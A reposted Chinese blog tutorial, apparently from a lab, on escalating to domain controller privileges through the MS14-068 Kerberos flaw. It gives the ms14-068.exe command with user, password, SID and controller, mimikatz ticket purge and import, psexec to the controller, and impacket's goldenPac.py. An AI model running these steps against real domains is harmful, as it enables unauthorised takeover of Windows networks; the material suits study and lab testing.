zoukankan
html css js c++ java
MS14-068提权和impacket工具包提权
ms14-068提权
工具利用
a)拿下边界机win7,并已经有win7上任意一个账号的密码
-u 用户名@域
-p 用户密码
-s 用户sid
-d 域控
ms14-068.exe -u test3@superman.com -p Test#123 -s S-1-5-21-2030659959-700672918-1434258406-1113 -d win08.superman.com
生成一个ccache后缀票据
导入票据
导入之前,清空票据缓存
kerberos::purge
kerberos::ptc 票据
使用psexec工具连接win08(域控机器)尝试执行命令,看到的权限是test3的,但是实际上所属已经是win08上,并且是最高权限
impacket工具包提权
b) 没拿到边界机,但是有账号密码的情况
使用/impacket/examples下的goldenpac.py脚本
注意@domain-host 指的是域控机的位置
成功进入win08的命令行模式
查看全文
相关阅读:
RTLabel 富文本
代码复用,优化时间
(转)分享一些免费的接口.无意中查找资料发现
新手之使用git
ios 清理缓存
(转)IOS崩溃 异常处理(NSSetUncaughtExceptionHandler)
UIApplication的理解
新提交审核app保留检查更新入口将被拒绝
(转)免费天气预报接口API以及全国所有地区代码!!
Cesium快速上手9-Camera和Scene中的其他函数使用
原文地址:https://www.cnblogs.com/sup3rman/p/12329854.html
最新文章
HDFS简介及其功能
JS浮点类型运算精度丢失问题解决办法
ace input file 上传
js 进行数字运算
springmvc请求接收参数的几种方法
[转]struts2接收参数的几种形式
[转]Spring MVC 教程,快速入门,深入分析
[转]Spring中的ContextLoaderListener使用
[转] Java中native关键字
在线转换openoffice
热门文章
Android_Basic_02.关于 drawable 和 mipmap 的异同
Android_Basic_01.关于单例对象的使用
SQLite数据库
ShoppingMall_02
ShoppingMall_01
绑定关系的应用 DataBinding 与 ButterKnife
Glide库的使用
Gradle 依赖配置
Android.28.打包与发布
Android.27.录屏_视频播放(mediaplayer/videoview)_音频播放(soundpllo+recyclerview+自定义监听)
Copyright © 2011-2022 走看看